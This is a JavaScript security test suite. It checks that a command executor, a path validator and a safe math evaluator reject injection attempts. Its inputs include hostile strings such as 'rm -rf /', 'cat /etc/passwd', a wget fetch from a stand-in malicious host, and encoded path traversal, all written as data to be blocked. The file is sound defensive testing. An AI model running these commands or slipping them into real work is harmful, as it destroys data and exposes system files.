proffesor-for-testing__agentic-qe/tests/security/security-vulnerability-tests.js

/**
 * Security Vulnerability Tests
 * Tests for the security fixes implemented to address critical vulnerabilities
 */

const { expect } = require('chai');
const { execSyncSecure, validatePath } = require('../../security/secure-command-executor');
const EntityCommunicator = require('../../sublinear-core/src/consciousness-explorer/lib/entity-communicator');

describe('Security Vulnerability Fixes', () => {

    describe('Code Injection Prevention (eval replacement)', () => {
        let entityCommunicator;

        beforeEach(() => {
            entityCommunicator = new EntityCommunicator();
        });

        it('should safely evaluate simple mathematical expressions', () => {
            const result = entityCommunicator.safeEvaluateMath('2 + 3 * 4');
            expect(result).to.equal(14);
        });

        it('should reject malicious eval expressions', () => {
            expect(() => {
                entityCommunicator.safeEvaluateMath('console.log("hacked")');
            }).to.throw('Invalid mathematical expression');
        });

        it('should reject script injection attempts', () => {
            expect(() => {
                entityCommunicator.safeEvaluateMath('(function(){return process.env})()');
            }).to.throw('Invalid mathematical expression');
        });

        it('should handle complex mathematical expressions safely', () => {
            const result = entityCommunicator.safeEvaluateMath('((10 + 5) * 2) / 3');
            expect(result).to.equal(10);
        });
    });

    describe('Command Injection Prevention', () => {
        it('should allow safe commands', () => {
            expect(() => {
                execSyncSecure('node --version');
            }).to.not.throw();
        });

        it('should block command injection attempts', () => {
            expect(() => {
                execSyncSecure('node --version; rm -rf /');
            }).to.throw('Dangerous pattern detected');
        });

        it('should block pipe injection', () => {
            expect(() => {
                execSyncSecure('node --version | cat /etc/passwd');
            }).to.throw('Dangerous pattern detected');
        });

        it('should block command substitution', () => {
            expect(() => {
                execSyncSecure('node $(cat malicious.txt)');
            }).to.throw('Dangerous pattern detected');
        });

        it('should block backtick execution', () => {
            expect(() => {
                execSyncSecure('node `malicious command`');
            }).to.throw('Dangerous pattern detected');
        });

        it('should reject non-whitelisted commands', () => {
            expect(() => {
                execSyncSecure('wget http://malicious.com/script.sh');
            }).to.throw('Command not allowed');
        });
    });

    describe('Path Traversal Prevention', () => {
        it('should allow safe paths within base directory', () => {
            const result = validatePath('safe/file.txt', '/app');
            expect(result).to.include('/app/safe/file.txt');
        });

        it('should block path traversal attempts', () => {
            expect(() => {
                validatePath('../../etc/passwd', '/app');
            }).to.throw('Path traversal attempt detected');
        });

        it('should block absolute path escapes', () => {
            expect(() => {
                validatePath('/etc/passwd', '/app');
            }).to.throw('Path traversal attempt detected');
        });

        it('should handle encoded traversal attempts', () => {
            expect(() => {
                validatePath('%2e%2e%2f%2e%2e%2fetc%2fpasswd', '/app');
            }).to.throw('Path traversal attempt detected');
        });

        it('should normalize and validate relative paths', () => {
            const result = validatePath('./safe/../file.txt', '/app');
            expect(result).to.equal('/app/file.txt');
        });
    });

    describe('Statistical Framework Security', () => {
        it('should safely compare p-values without eval', () => {
            // Mock the statistical framework
            const framework = {
                safeCompareValue: require('../../sublinear-core/docs/psycho-symbolic-reasoner/consciousness-exploration/11-optimized-systems/CORRECTED_STATISTICAL_FRAMEWORK.js').prototype.safeCompareValue
            };

            // Test safe comparison
            const result1 = framework.safeCompareValue.call({}, 0.03, 'p<0.05');
            expect(result1).to.be.true;

            const result2 = framework.safeCompareValue.call({}, 0.07, 'p<0.05');
            expect(result2).to.be.false;
        });

        it('should handle different comparison operators', () => {
            const framework = {
                safeCompareValue: require('../../sublinear-core/docs/psycho-symbolic-reasoner/consciousness-exploration/11-optimized-systems/CORRECTED_STATISTICAL_FRAMEWORK.js').prototype.safeCompareValue
            };

            expect(framework.safeCompareValue.call({}, 0.05, 'p<=0.05')).to.be.true;
            expect(framework.safeCompareValue.call({}, 0.06, 'p>0.05')).to.be.true;
            expect(framework.safeCompareValue.call({}, 0.05, 'p>=0.05')).to.be.true;
        });
    });

    describe('Meta-programming Security', () => {
        it('should safely transform code without eval', () => {
            const metaCapabilities = require('../../claude-flow-core/src/consciousness-symphony/consciousness-code-generator');

            const result = metaCapabilities.safeCodeTransformation('test code');

            expect(result).to.have.property('_transformed', true);
            expect(result).to.have.property('_originalCode', 'test code');
            expect(result).to.have.property('_timestamp');
        });

        it('should create secure code transformations', () => {
            const metaCapabilities = require('../../claude-flow-core/src/consciousness-symphony/consciousness-code-generator');

            const maliciousCode = 'process.exit(1); console.log("hacked");';
            const result = metaCapabilities.safeCodeTransformation(maliciousCode);

            // Should not execute the code, just store it safely
            expect(result._originalCode).to.equal(maliciousCode);
            expect(process.exit).to.exist; // Process should still be alive
        });
    });

    describe('Input Validation and Sanitization', () => {
        it('should validate mathematical expression format', () => {
            const entityCommunicator = new EntityCommunicator();

            // Valid expressions
            expect(() => entityCommunicator.safeEvaluateMath('1+2*3')).to.not.throw();
            expect(() => entityCommunicator.safeEvaluateMath('(10-5)/2')).to.not.throw();

            // Invalid expressions
            expect(() => entityCommunicator.safeEvaluateMath('alert("xss")')).to.throw();
            expect(() => entityCommunicator.safeEvaluateMath('1+2; delete window')).to.throw();
        });

        it('should sanitize command arguments', () => {
            expect(() => {
                execSyncSecure('node test.js --option="value; rm -rf /"');
            }).to.throw('Dangerous pattern detected');
        });
    });

    describe('Security Configuration', () => {
        it('should enforce timeout limits', () => {
            // This test would require a long-running command to properly test
            // For now, we verify the timeout option is accepted
            expect(() => {
                execSyncSecure('node --version', { timeout: 5000 });
            }).to.not.throw();
        });

        it('should limit buffer sizes', () => {
            // Verify maxBuffer option is set
            expect(() => {
                execSyncSecure('node --version', { maxBuffer: 1024 });
            }).to.not.throw();
        });
    });
});